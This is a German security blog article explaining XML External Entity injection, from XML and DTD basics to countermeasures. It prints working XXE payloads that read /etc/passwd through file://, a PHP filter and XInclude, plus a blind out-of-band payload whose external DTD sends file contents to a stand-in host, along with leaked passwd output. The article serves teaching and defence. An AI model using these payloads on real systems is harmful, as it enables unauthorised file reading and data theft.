XML-Injection - Angriffsmöglichkeiten und Gegenmassnahmen

XML-Injection

Angriffsmöglichkeiten und Gegenmassnahmen

Andrea Hauser
von Andrea Hauser
am 05. Oktober 2023
Lesezeit: 11 Minuten

Keypoints

So funktioniert XML-Injection

  • XML ist eine Übertragungsart von Daten
  • Mittels XML External Entities können Injection vorgenommen werden
  • Dies kann zu Abfluss von internen Daten und in Kombination mit anderen Schwachstellen schlimmstenfalls zu RCE führen
  • XML-Parsers sollten möglichst so konfiguriert werden, dass externe Entities und XInclude-Anweisungen nicht geparst werden

Obwohl XML nicht mehr zu den beliebtesten Übertragungsarten von Daten gehört, treffen wir es ab und zu dennoch an und sehen auch immer mal wieder eine nicht gehärtete Applikation die anfällig ist auf XXE Injection. Wobei XXE für XML External Entity steht. XXE Injections können dazu genutzt werden Dateien auf dem angegriffenen System zu lesen und falls erreichbar mit weiteren internen oder externen Systemen zu interagieren. Teilweise kann es sogar möglich sein die XXE mit SSRF zu kombinieren und dadurch weiterführende Angriffe auszuführen.

Bevor auf XXE Injection im Detail eingegangen werden kann, muss allerdings erst einmal festgelegt werden was XML und External Entities selbst sind. XML steht für Extensible Markup Language und ist als textbasiertes Format für den Austausch und das Speichern von strukturierten Informationen gedacht. Beispielsweise kann eine XML-Datei mit dem ein Buch abgebildet wird wie folgt aussehen:

<?xml version="1.0" encoding="UTF-8"?>
<book> <!-- root node -->
    <author id="1"> <!-- node mit attribute -->
        <firstname> <!-- child des author node -->
            1337h4x0r <!-- node Wert -->
        </firstname>
        <lastname>Hacker</lastname>
    </author>
    <title>Best Hacking Book!</title>
</book>

Optional kann in XML auch Document Type Definition (DTD) verwendet werden. Damit kann definiert werden, wie das XML-Dokument strukturiert sein muss und es kann verwendet werden, um ein XML-Dokument zu validieren. DTDs können entweder intern, also innerhalb der XML-Datei selbst, oder extern, also von einem anderen Server, geladen werden. Eine interne DTD für das oben gezeigte Beispiel könnte dementsprechend wie folgt aussehen:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE book [
    <!ELEMENT book(author, title)>
    <!ELEMENT author(firstname, lastname)>
    <!ELEMENT firstname (#CDATA)>
    <!ELEMENT lastname (#CDATA)>
    <!ELEMENT title (#CDATA)>
]>
<book>
    <author id="1">
        <firstname>1337h4x0r</firstname>
        <lastname>Hacker</lastname>
    </author>
    <title>Best Hacking Book!</title>
</book>

Als externe DTD würde das ganze wie folgt aussehen:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE book SYSTEM "<https://example.com/example.dtd>">
<book>
    <author id="1">
        <firstname>1337h4x0r</firstname>
        <lastname>Hacker</lastname>
    </author>
    <title>Best Hacking Book!</title>
</book>

Und auf dem System example.com in der Datei example.dtd ist folgendes gespeichert:

<!ELEMENT book(author, title)>
<!ELEMENT author(firstname, lastname)>
<!ELEMENT firstname (#CDATA)>
<!ELEMENT lastname (#CDATA)>
<!ELEMENT title (#CDATA)>

Eine DTD kann zudem beliebige selbstdefinierte Entites beinhalten, die wiederum als interne oder externe Entity definiert werden können. Hier das Beispiel mit einer internen Entity:

<!DOCTYPE book [
    <!ELEMENT book(author, title)>
    <!ELEMENT author(firstname, lastname)>
    <!ELEMENT firstname (#CDATA)>
    <!ELEMENT lastname (#CDATA)>
    <!ELEMENT title (#CDATA)>
    <!ENTITY example "Example Entity"> <!-- Definition Entity -->
]>
<book>
    <author id="1">
        <firstname>1337h4x0r</firstname>
        <lastname>Hacker</lastname>
    </author>
    <title>&example;</title>
</book>

Nach dem Parsen der Entity wird als Title Example Entity eingetragen sein.

Und folgend das Beispiel mit einer externen Entity:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE book [ <!ENTITY example SYSTEM "<https://example.com/example.dtd>"> ] >
<book>
    <author id="1">
        <firstname>1337h4x0r</firstname>
        <lastname>Hacker</lastname>
    </author>
    <title>&example;</title>
</book>

Und auf dem System von example.com in der Datei example.dtd ist folgendes gespeichert:

<!ENTITY example "Example Entity">

Ausnutzung External Entities Injection

Als Angreifer können nun eben diese oben gezeigten DTD und Entity Definitionen für bösartige Zwecke missbraucht werden. Eine Webapplikation die XML zur Übertragung von Daten verwendet besitzt serverseitig einen XML-Parser, der diese Daten verarbeitet. Wenn der Parser von einem Angreifer dazu gebracht werden kann, Externe Entitites aufzulösen oder mittels file:// und einem internen Pfad interne Dateien einzubinden, kann ein Angreifer an interne Informationen gelangen.

Nehmen wir das oben bereits verwendete Beispiel als Ausgangslage für eine Abfrage an einen Webserver. Wenn ein Angreifer eine auf dem Server vorhandene lokale Datei abfragen will, kann folgende bösartige XML External Entity Abfrage ausgeführt werden:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE book [ <!ENTITY example SYSTEM "file:///etc/passwd"> ] > <!-- bösartiger Teil der Abfrage -->
<book>
    <author id="1">
        <firstname>1337h4x0r</firstname>
        <lastname>Hacker</lastname>
    </author>
    <title>&example;</title>
</book>

Und falls die Datei /etc/passwd gelesen werden kann, kann es entweder sein, dass der Inhalt anstatt des Titel des Buchs im HTML angezeigt wird, oder dass eine Fehlermeldung ausgegeben wird, die den Inhalt von /etc/passwd preisgibt:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
Content-Length: 600

"Invalid title: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin"

Wenn es gelingt lokale Dateien zu lesen können die folgenden Listen verwendet werden, um interessante Dateien zu identifizieren und lesen:

Gleichzeitig sollte aber auch überprüft werden, ob die Möglichkeiten für einen Server-Side-Request-Forgery Angriff besteht und interne Systeme oder im Cloud-Umfeld auch Metadaten-Systeme abgefragt und weiter ausgenutzt werden können. Für Cloud-Instanzen finden sich hier interessante Endpunkte und über SSRF Angriffe wurden im Artikel zu SSRF mehr Details und Angriffswege beschrieben.

Wenn das angegriffenen System PHP verwendet, kann folgendes genutzt werden, um Dateien vom Dateisystem zu lesen:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE book [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<book>
    <author id="1">
        <firstname>1337h4x0r</firstname>
        <lastname>Hacker</lastname>
    </author>
    <title>&example;</title>
</book>

Falls vom Parser der vom Angreifer definierte Doctype abgelehnt wird, kann noch versucht werden mit XInclude anzugreifen. Das würde dann wie folgt aussehen:

<example xmlns:xi="<http://www.w3.org/2001/XInclude>">
<xi:include parse="text" href="file:///etc/passwd"/></example>

Bis jetzt beschriebene Angriffe können nur verwendet werden, wenn Informationen zurückgegeben werden. Das Ganze kann jedoch auch als blinde XXE Injection durchgeführt werden. Dies kann gemacht werden, in dem Netzwerk-Interaktionen ausgelöst werden und indem versucht wird Informationen über diese Interaktionen zu extrahieren. Eine vollständige Ausnutzung könnte dann wie folgt aussehen. Im Request wird folgendes bösartiges mitgegeben:

<!DOCTYPE book[<!ENTITY % xxe SYSTEM
"<https://example.com/example.dtd>"> %xxe;]>

und auf dem Angreifer-System befindet sich folgende example.dtd:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'https://example.com/?x=%file;'>">
%eval;
%exfiltrate;

Für diesen Angriff wurden XML Parameter Entities verwendet, die wie folgt deklariert werden:

<!ENTITY % exampleentity "Parameter Entity Wert" >

und wie folgt aufgerufen werden:

%exampleentity;

Anhand von öffentlich einsehbaren BugBounty-Programmen zeigt sich, dass XXE Injection weiterhin ein Problem sind, die in vielen unterschiedlichen Situationen aufkommen können. Zum Beispiel in Bilduploads, Audio-Uploads oder in VoiceXML Spezifikationen. Zudem kann auch gut aufgezeigt werden, dass aus einer erst mal nur lesenden Schwachstelle in Kombination mit anderen Schwachstellen viel weiteres ausgenutzt werden kann, dass zum Beispiel beim DoD zu einer Remote Code Execution geführt hat. Falls nach der Lektüre dieses Artikels Interesse aufgekommen ist, diesen Schwachstellentyp selbst einmal auszuprobieren, kann dies in einem legalen Rahmen mit den Labs von Portswigger gemacht werden.

Gegenmassnahmen

Am besten kann man sich gegen XML External Entitiy Injection schützen, indem der Parser so konfiguriert wird, dass External Entities sowie XInclude gar nicht mehr geparst beziehungsweise erlaubt werden. Das OWASP Cheat Sheet gegen XXE beinhaltet spezifische Konfiguration pro Programmiersprache und Parser.

Fazit

Obwohl XML nicht mehr als beliebtestes Datenübertragungsformat betrachtet werden kann, wird es dennoch in gewissen Fällen wie zum Beispiel Bild-Uploads, SOAP-Nachrichten und ähnlichem weiter eingesetzt. Wenn XML verwendet wird, sollte darauf geachtet werden, dass die XML External Entity Injection Möglichkeiten verhindert werden, indem der XML-Parser entsprechend gehärtet wird. Bei fehlender Härtung können die Auswirkungen über Lesen von internen Dateien, auskundschaften des internen Netzwerks ausgehend vom anfälligen Server bis zur Remote Code Execution führen, wenn die Schwachstelle mit weiteren Schwachstellen kombiniert werden kann.

Über die Autorin

Andrea Hauser

Andrea Hauser hat ihren Bachelor of Science FHO in Informatik an der Hochschule für Technik Rapperswil abgeschlossen. Sie setzt sich im offensiven Bereich in erster Linie mit Web Application Security Testing und der Umsetzung von Social Engineering Kampagnen auseinander. Zudem ist sie in der Forschung zum Thema Deepfakes tätig. (ORCID 0000-0002-5161-8658)

Links

Sie wollen die Sicherheit Ihrer Firewall prüfen?

Unsere Spezialisten kontaktieren Sie gern!

×
Angriffsmöglichkeiten gegen Generative AI

Angriffsmöglichkeiten gegen Generative AI

Andrea Hauser

Burp Makros

Burp Makros

Andrea Hauser

WebSocket Fuzzing

WebSocket Fuzzing

Andrea Hauser

Prototype Pollution

Prototype Pollution

Andrea Hauser

Sie wollen mehr?

Weitere Artikel im Archiv

Sie brauchen Unterstützung bei einem solchen Projekt?

Unsere Spezialisten kontaktieren Sie gern!

Sie wollen mehr?

Weitere Artikel im Archiv